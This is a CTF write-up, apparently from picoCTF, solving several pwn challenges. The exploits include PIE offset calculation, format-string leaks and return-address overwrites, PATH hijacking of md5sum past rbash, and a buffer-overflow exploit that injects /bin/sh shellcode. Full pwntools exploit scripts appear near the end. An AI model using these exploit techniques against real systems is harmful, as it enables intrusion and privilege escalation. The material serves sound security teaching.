Can you try to get the flag? Beware we have PIE!
We're given both the source code and the binary
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
From the source code above, there are two important functions: main()
and win()
. In the main()
function, the address of main
is printed for us, and it prompts us to enter a value (address), which is then called. Let's run the binary and see what happens.
As you can see from the screenshot, when we provide a random(invalid) value, it causes a Segfault
and exits the program. The Segfault
is handled by the following code section.
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
Now, let's open the program using GDB
and check out the addresses of the functions.
Note
For the rest of the challenge, I'll be using pwndbg, an extension ofGDB
that is enhanced for exploit development.
We can see that the win()
function starts at the address 0x00005555555552a7
.
And the main()
function starts at the address 0x0000555555533d
. Let's calculate the difference between the main()
function and the win()
function.
And we get 0x96
or 150
. Now it's obvious what we need to do: after getting the main()
address, we subtract 0x96
(or 150), which gives us the address of win()
.
After running the program, we get the address 0x564ac801033d
.
After subtracting 0x96
, we get 0x564ac80102a7
. Let's enter the value and see if it will call the win()
function and print the flag for us.
And we got the flag! 🙂 This is a local instance. Let's try it against the remote instance and see if it works the same way.
After getting the address and subtracting 0x96
…
We get the flag.
Can you try to get the flag? I'm not revealing anything anymore!!
This time, it's not printing the address of main()
, Let's checkout what the code is doing before running the binary
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
From the source code above, we have three functions that we need to focus on: main()
, win()
, and call_functions()
. In main()
, we first call the call_functions()
function.
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
In the call_functions()
function, it asks for our name, which takes a total of 64 bytes. It then prints our name to stdout
and, finally, prompts us for the address to call.
If you look carefully, after getting our name, it directly prints our name using the printf
function, which causes a format string vulnerability. By using the %p
format specifier, we can try to leak some interesting values (addresses).
As you can see from the screenshot, we are leaking some addresses. Now, let's open the binary using GDB
and check at what position the function we need is getting leaked.
The address of main()
starts at 0x00005555555400
.
The address of call_functions()
starts at 0x000055555552c7
Finally, the win()
function starts at the address 0x0000555555536a
After trying different values at position %19$p
, we get the address 0x555555555441
, which is in the main()
function.
This is the address right after calling the call_functions()
function. Let's break down what %19$p
represents before we start calculating the address of win()
.
%
: This indicates the start of a format specifier.19
: This is a field width specifier, meaning the printed value should take up at lease 19 characters.$
: Is used to select a specific argumentp
: indicates that the value should be printed as a pointerWe can also leak the starting address of main()
by inputting the following: %23$p
.
Let's confirm
This means we can choose between the address leaked using %19$p
or %23$p
. Since we can use either, let's go with %19$p
.
It's 0xd7
, which is 215
. Let's try the same thing as before. This time, since the address of main()
is not being printed, we can get it using the %19$p
format specifier. After that, we subtract 0xd7
to get the address of the win()
function.
Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
For this challenge, the binary is stored somewhere on the server. We had to connect and use scp
to transfer the binary to our machine for a closer look.
We can use the following scp
command to pull it to our local machine:
scp -P <port> ctf-player@<sub-domain>.picoctf.net:~/flaghasher .
Before analyzing the binary in Ghidra, let's first run it and see what it's doing.
You can see that the flag is located at /root/flag.txt
, and the custom binary is calculating the MD5
hash of the flag.
Let's now use Ghidra to analyze what it's doing.
Immediately, I noticed the string.
/bin/bash -c 'md5sum /root/flag.txt'
Since it's using md5sum
, one simple way to get the flag is by modifying the PATH
to use our custom md5sum
binary. We just need to copy the cat
command to the directory we want, rename the cat
binary to md5sum
, and then run the flaghasher
binary again.
And we got the flag! 🙂
In this challenge, it's the same binary as before—nothing has been modified. Let's try the same trick as before.
As you can see from the screenshot, PATH
is read-only, and it's using rbash
.
rbash
stands for Restricted Bash, which is a restricted version of the Bash shell. It is typically used to limit the functionality and capabilities of users to restrict their actions in a more controlled environment.
What we can do is change our shell from rbash
to sh
, and then we can use the same trick as in the previous challenge.
And it worked!
The echo valley is a simple function that echoes back whatever you say to it.But how do you make it respond with something more interesting, like a flag?
We're provided with the binary and the source code for the challenge. Let's take a look at the code first.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main() {
echo_valley();
return 0;
}
We have two interesting functions: echo_valley()
and print_flag()
.
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
This function reads our buffer, which is 100 bytes, from stdin
, and checks if the input equals "exit." If it does, the program exits; if not, it simply echoes back what we input. (This will come in handy later on 🙂)
The interesting part is that it's printing the buffer using printf
, which creates a format string vulnerability.
The print_flag()
function just prints the flag, but it's not being called.
from the screenshot above checksec
shows
First, let's confirm that we have a format string vulnerability.
Good. What we need to do is, since the main()
function calls the echo_valley()
function:
main()
function to calculate the offset of the print_flag()
function.print_flag()
function.Using the following input, we can obtain the return address.
%15$p::%16$p::%17$p::%18$p::%19$p::%20$p::%21$p::%22$p
Now, let's use telescope
to check how far we are from the leaked addresses.
It's only 8 bytes away from %20$p
. Now, let's put it all together and try to overwrite the return address.
After leaking the return address, I used pwntools
's fmtstr_payload
function to craft our format string payload. I've overwritten the return address with 0x13337
, which, as shown in the screenshot, is trying to return to 0x13337
.
Now that we know what we need to do, let's leak the address of main()
, calculate the offset of print_flag()
, and overwrite the return address.
At position %21$p
, we've leaked the address inside the main()
function. From there, let's calculate how far we need to go to get the address of print_flag()
.
We can see the addresses of main()
and print_flag()
, so all we need to do is…
0x0000561223df1413 - 0x0000561223df1269
And we get 0x1aa
, which means…
0x0000561223df1413 - 0x1aa
…gets us the address of the print_flag()
function.
Now, let's put it all together and overwrite the return address with the address of print_flag()
.
Hmmm… it should work, but it's only overwriting the lower-order bytes. Let's figure out what went wrong.
Aha! The format string payload exceeds the buffer size. The buffer is 100 bytes, but the format string payload length is 120, so we need to send it in chunks.
Awesome! 🙂 We have successfully overwritten the return address with the print_flag()
address. Let's test it against the remote instance.
#!/usr/bin/env python3
from pwn import *
BIN_NAME = "valley"
def solve():
context.arch = "amd64"
context.log_level = "DEBUG"
p = process(f"./{BIN_NAME}")
p.sendlineafter(b"Shouting: ", b"%20$p::%21$p")
p.recvuntil(b"You heard in the distance: ")
addresses = p.recv().decode().strip().split("::")
return_address = int(addresses[0], 16) - 8
main_function_address = int(addresses[1], 16)
print_flag_address = main_function_address - 0x1aa
log.info(f"return address = {hex(return_address)}")
log.info(f"main function address = {hex(main_function_address)}")
log.info(f"print flag address = {hex(print_flag_address)}")
chunks = [
print_flag_address & 0xFFFF,
(print_flag_address >> 16) & 0xFFFF,
(print_flag_address >> 32) & 0xFFFF,
]
log.info(f"sending the first {hex(chunks[0])} bytes")
p.sendline(fmtstr_payload(6, {return_address: chunks[0]}))
log.info(f"sending the second {hex(chunks[1])} bytes")
p.sendline(fmtstr_payload(6, {return_address + 2: chunks[1]}))
log.info(f"sending the third {hex(chunks[2])} bytes")
p.sendline(fmtstr_payload(6, {return_address + 4: chunks[2]}))
p.interactive()
def main():
solve()
if __name__ == "__main__":
main()
It also worked on the remote instance. Awesome! 😎
Same as before, we are provided with the source code and the binary. Let's take a look at the source code first.
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
The program has the following options.
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
And it has the following struct
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
We can choose options '1' and '2' to set the name and message, and when choosing option '3,' …
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
It exits the program, but before that, it takes feedback from the user and stores the input in the feedback
variable. This causes a buffer overflow. Before confirming that, let's use checksec
to see what's enabled and what's not.
This is good. Since PIE (Position-Independent Executable) is disabled, the program runs at the same base address every time it is loaded. Additionally, NX (No-Execute) is disabled, meaning we can execute shellcode
on the stack.
Okay, as you can see, we have overwritten the return address with 0x4141414141414141
. Let's find the exact offset.
Using the cyclic
command, we can confirm that the exact offset we need is 20.
Since NX is disabled, we can place the shellcode
somewhere on the stack and jmp
to it. However, ASLR is enabled, so that won't work for us. After experimenting with the program a bit, I've come up with the following steps to execute the shellcode
.
shellcode
onto the stack.shellcode
.The shellcode
that we're trying to push onto the stack is 44 bytes. We can save it in the 'entries'.
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
MSG_LEN 64
, which is more than enough to store our shellcode
.
I've used pwntools to create a quick /bin/sh
shellcode
with shellcraft.sh()
.
By using ROPgadget
, we can easily find our gadget.
ROPgadget
returned the jmp rax
gadget, which is at 0x000000000040116c
. The address does not change since PIE
is disabled.
After pushing the shellcode
onto the stack, we need to set the return address to a gadget. The gadget will jmp
to our small piece of assembly code, which will help us reach our shellcode
.
It will now try to execute our gadget. Let's determine how far our shellcode
is from rsp
.
From the screenshot above, we can see that our shellcode
is at 0x7fffa8e4ffa7
. Subtracting 15 will also account for our nop
, and rsp
is at 0x7fffa8e50280
.
By doing this simple calculation, we can determine how far our shellcode
is from rsp
.
nop
sub rsp, 0x2e8
jmp rsp
This simple assembly code will help us point to our shellcode
and execute it.
Since the total buffer offset we need is 20, and our helper (stager) code is at 10, we're good.
So, our payload will look something like this:
payload = asm(
"""
nop;
sub rsp, 0x2e8;
jmp rsp;
"""
)
payload += asm("nop") * 10
payload += jmp_rax
Now, let's put it all together and check if it works.
It reached our helper (stager) code…
rsp
now points to our shellcode
.
Awesome! Our shellcode
executed successfully. Let's now try it on the remote instance.
It worked! 🙂 Here is the full code.
#!/usr/bin/env python3
from pwn import *
BIN_NAME = "handoff"
def solve():
context.arch = "amd64"
context.log_level = "DEBUG"
p = process(f"./{BIN_NAME}")
jmp_rax = p64(0x0040116c)
shellcode = asm(shellcraft.sh())
nop_sled = asm("nop") * ((63) - len(shellcode))
payload = asm(
"""
nop;
sub rsp, 0x2e8;
jmp rsp;
"""
)
payload += asm("nop") * 10
payload += jmp_rax
p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"new recipient's name:", b"shellcode")
p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"you like to send a message to?", "0")
# shellcode size is 48 and message length is 64-1 so
# (MSG_LEN-1) - len(shellcode) = 15
# so our nop should be 15
p.sendlineafter(b"would you like to send them?", nop_sled + shellcode)
p.sendlineafter(b"3. Exit the app", b"3")
p.sendline(payload)
p.interactive()
def main():
solve()
if __name__ == "__main__":
main()
Thank you for following along! I hope this writeup was helpful. Feel free to reach out if you have any questions!